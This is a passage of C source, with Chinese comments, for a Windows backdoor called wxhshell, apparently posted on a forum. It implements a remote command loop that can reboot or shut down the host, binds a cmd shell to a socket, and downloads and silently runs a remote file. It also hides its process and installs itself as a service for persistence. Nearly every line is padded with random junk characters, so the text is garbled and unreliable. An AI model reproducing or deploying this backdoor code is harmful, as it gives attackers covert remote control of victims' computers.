    switch(cmd[0]) { t un}rdb  
  #@XBHJD\#  
  // 帮助 l& :EKh  
  case '?': { +#}GmUwPG$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eA/n.V$z  
    break; 7FB?t<x  
  } B VBn.ut  
  // 安装 ]P4WfV d  
  case 'i': { Kb.qv)6i*  
    if(Install()) D!<F^mtl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gD,&TW  
    else ?YhDjQs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w_9^YO! !  
    break; JzyCeM =  
    } @KN+)qP  
  // 卸载 #lYyL`B+~  
  case 'r': { 6EqA Y`y  
    if(Uninstall()) q!Du J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A~zn;  
    else &qv~)ZM$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y0LZbT3  
    break; IkrB}  
    } o2/:e  
  // 显示 wxhshell 所在路径 s\*L5{kiSl  
  case 'p': { 4>JSZ6i#n  
    char svExeFile[MAX_PATH]; b IDUa  
    strcpy(svExeFile,"\n\r"); 7- B.<$uC  
      strcat(svExeFile,ExeFile); q t"D!S_  
        send(wsh,svExeFile,strlen(svExeFile),0); A2_ut6&eb  
    break; om3 %\  
    } <_EKCk  
  // 重启 peQwH  
  case 'b': { B}e/MlX3M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a)_3r]sv^  
    if(Boot(REBOOT)) m4:c$5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L*@`i ]jl  
    else { 3Cf9'C  
    closesocket(wsh); t^s&1#iC  
    ExitThread(0); cc@W 6W  
    } LC%o coc  
    break; S|85g1}t  
    } *t@A-Sn  
  // 关机 87 Z[0>  
  case 'd': { j\2Qe %d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SSK}'LQ  
    if(Boot(SHUTDOWN)) ?=u?u k<-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )M0YX?5A R  
    else { inP2y?j  
    closesocket(wsh); c[dSO(=  
    ExitThread(0); ,7{|90'V<  
    } ~q$]iwwqT  
    break; [FFr}\}bY  
    } 0w?da~  
  // 获取shell M4^G3c<  
  case 's': { L%'J]HL-  
    CmdShell(wsh); ? SFBUX(p  
    closesocket(wsh); l|CM/(99-  
    ExitThread(0); _NDQ2O  
    break; uP~,]ci7  
  } <Ap_#  
  // 退出 X! d-"[  
  case 'x': { ^y+k6bE  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mdi!Q1pS  
    CloseIt(wsh); |OeyPD#  
    break; _v!7 |&\  
    } :F(4&e=w  
  // 离开 lqDCK&g$E#  
  case 'q': { Xs03..S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tz @<hE  
    closesocket(wsh); ``MO5${  
    WSACleanup(); l.Q  
    exit(1); 3efOgP=L  
    break; ah>c)1DA*H  
        } B#K gU&Loo  
  } -y`Pm8  
  } Z8v\>@?5R  
c&['T+X  
  // 提示信息 ]'.qRTz'\t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \CB^9-V3  
} }:m#}s  
  } l6M?[  
m=l>8  
  return; uGU 2  
} wNB?3v{n  
^<;W+dWdU  
// shell模块句柄 AHf 9H?  
int CmdShell(SOCKET sock) .N(R~_  
{ 7e_4sxg'(3  
STARTUPINFO si; '+Dsmoy  
ZeroMemory(&si,sizeof(si)); xIdb9hm<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JrP`u4f_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E=NjWO  
PROCESS_INFORMATION ProcessInfo; Gu;40)gm  
char cmdline[]="cmd"; b 74 !Zw  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;-db/$O  
  return 0; d$ouH%^cGu  
} x]^d'o:cDP  
/s?%ft#-9o  
// 自身启动模式 >6es 5}  
int StartFromService(void) @iz Onc:  
{ ,NO[Piok  
typedef struct ^ u$gO3D  
{ 35h|?eN_m!  
  DWORD ExitStatus; `?VK(<w0q  
  DWORD PebBaseAddress; Gb')a/  
  DWORD AffinityMask; %bcf% 7  
  DWORD BasePriority; P`tOL#UeZL  
  ULONG UniqueProcessId; pa-*&p  
  ULONG InheritedFromUniqueProcessId; D#GuF~-F!R  
}   PROCESS_BASIC_INFORMATION; R iZ)FW  
GT6; I7  
PROCNTQSIP NtQueryInformationProcess; j{C~wy!J  
ib,`0=0= O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6IqPZ{g9K'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u`ir(JIj]  
8mX!mYO3c  
  HANDLE             hProcess; 3.Fko<D4jD  
  PROCESS_BASIC_INFORMATION pbi; KOixFn1  
7%h;To-<6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2> a&m>  
  if(NULL == hInst ) return 0; ,xwiJfG; ]  
\kE0h\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ys=2!P-[#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 175e:\Tw  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '4,?YcZ?S  
`zoHgn7B9q  
  if (!NtQueryInformationProcess) return 0; c |0p'EQ  
!t%1G.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P| NGAd  
  if(!hProcess) return 0; 5BrN uR$  
V_i&@<J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `E~"T0RX  
Y3@+aA  
  CloseHandle(hProcess); :tWk K$  
PYQ0&;z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xM())Z|2  
if(hProcess==NULL) return 0; "rdpA[>L  
+|C@B`h  
HMODULE hMod; =svFw&q"  
char procName[255]; JMAdsg/  
unsigned long cbNeeded; %[XP}L$  
&XNt/bK -?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =CzGI|pb  
:k9T`Aa]  
  CloseHandle(hProcess); <?41-p-;  
.7.G}z1  
if(strstr(procName,"services")) return 1; // 以服务启动 k$=L&id  
yp~z-aRa  
  return 0; // 注册表启动 ~n -N  
} '`8 ^P  
o0Teect=  
// 主模块 gj|5"'g%  
int StartWxhshell(LPSTR lpCmdLine) B4 bB`r  
{ (XK,g;RoEn  
  SOCKET wsl; w,hm_aDq  
BOOL val=TRUE; GwO`@-}E  
  int port=0; ?;#Q3Y+  
  struct sockaddr_in door; `yR/M"u6T  
X#1WzWk '  
  if(wscfg.ws_autoins) Install(); 8kKL=  
~,,r\Y+  
port=atoi(lpCmdLine); rDl/R^w"  
=t N}4  
if(port<=0) port=wscfg.ws_port; S6bW r0XR  
rL<N:@HL  
  WSADATA data; <ppdy,j:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; auI`'O`/  
s<*+=aIfu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0 Rb3| te  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); WOPIF~1v  
  door.sin_family = AF_INET; , S^y>  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I(UK9H{0$  
  door.sin_port = htons(port); Q``1^E'  
g Cp`J(2v:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kNP-+o  
closesocket(wsl); KXZ G42w  
return 1; LYAGpcG  
} <hzHrx'o{  
Cuylozj$&  
  if(listen(wsl,2) == INVALID_SOCKET) { Dx\~#$S!=  
closesocket(wsl); f0eQq;D$K  
return 1; ,t_&tbf3  
} tOXyle~C  
  Wxhshell(wsl); Ew4D'; &;  
  WSACleanup(); 1G A.c:  
!- [ ZQ  
return 0; `;Ui6{|  
'!$ QI@@  
} uj;iE 9  
p$F` 9_bZ  
// 以NT服务方式启动 :@p]~{m:G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A}! A*z<9  
{ L@RnLaoQ  
DWORD   status = 0; &%v*%{|j  
  DWORD   specificError = 0xfffffff; sct 3|H#  
WiZkIZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 46M=R-7=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; em7L `,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pPxgjX  
  serviceStatus.dwWin32ExitCode     = 0; ZKW1HL ]m  
  serviceStatus.dwServiceSpecificExitCode = 0; ys!O"=OJ  
  serviceStatus.dwCheckPoint       = 0; Dh m ;K$T  
  serviceStatus.dwWaitHint       = 0; N9ipwr'P  
u/k' ry=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NXLb'mH~  
  if (hServiceStatusHandle==0) return; E9Kp=3H  
iTevl>p!  
status = GetLastError(); %cs" PS  
  if (status!=NO_ERROR) J3+qnT8X  
{ ,1~B7Z d  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ((?"2 }1r  
    serviceStatus.dwCheckPoint       = 0; TlO=dLR7d  
    serviceStatus.dwWaitHint       = 0; LQqba4$  
    serviceStatus.dwWin32ExitCode     = status;  irh Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; .WeSU0XG  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q@p' nE,  
    return; pv4#`.m  
  } 7E* 0;sA#  
"z6p=B"?3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D=LsoASVI  
  serviceStatus.dwCheckPoint       = 0; Ww~C[8q  
  serviceStatus.dwWaitHint       = 0; +dCR$<e9r  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uD{^1c3x  
} QP"5A7=m  
-^np"Jk  
// 处理NT服务事件,比如:启动、停止 Rxw+`ru  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y 8}y0]V  
{ f*V^HfiQb  
switch(fdwControl) %X}D(_  
{ XiV*d06{  
case SERVICE_CONTROL_STOP: J*ofa>  
  serviceStatus.dwWin32ExitCode = 0; lX.1B&T9Lr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |-v/  
  serviceStatus.dwCheckPoint   = 0; UU}Hs}  
  serviceStatus.dwWaitHint     = 0; A?-t`J  
  { d:Z|It  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )-XD= ]  
  } 8xj_)=(sV!  
  return; )4o k@^.  
case SERVICE_CONTROL_PAUSE: { zL4dJw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F:Vl\YZ  
  break; I(>_as\1  
case SERVICE_CONTROL_CONTINUE: ]c\`EHN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ld%#.~Q  
  break; :\mdVS!o  
case SERVICE_CONTROL_INTERROGATE: M~X~2`fFH  
  break; l"&iSq!3=  
}; e\#aQ1?"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?(khoL t  
} (RUc>Qi  
.|:(VG$MfI  
// 标准应用程序主函数 ~ hP]<$v  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \HMuV g'Q  
{ pcd?6jh8  
?!tO'}?  
// 获取操作系统版本 lh\`9F:  
OsIsNt=GetOsVer(); uI)z4Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0m4#{^Y  
l7WZ" 6d  
  // 从命令行安装 ee<'j~{A  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?<OE|nb&  
](+u'8  
  // 下载执行文件 lBG5~<NT  
if(wscfg.ws_downexe) { ,S}wOjb@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AgDXpaq  
  WinExec(wscfg.ws_filenam,SW_HIDE); !~mPxGY  
} wlwgYAD  
\*fXPJ4  
if(!OsIsNt) { SbtZhg=S_  
// 如果时win9x,隐藏进程并且设置为注册表启动 %Zeb#//Jz  
HideProc(); <0/)v J- 9  
StartWxhshell(lpCmdLine); 8M4GforP  
} dphWxB  
else s ldcI@Z  
  if(StartFromService()) f'j<v  
  // 以服务方式启动 UOe@R|79q  
  StartServiceCtrlDispatcher(DispatchTable); M(} T\R  
else +>tSO!}[  
  // 普通方式启动 3D,tnn+J  
  StartWxhshell(lpCmdLine); YEiw!  
%~<F7qB  
return 0; mt *Dx  
}
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只看该作者 1 发表于: 2006-10-10
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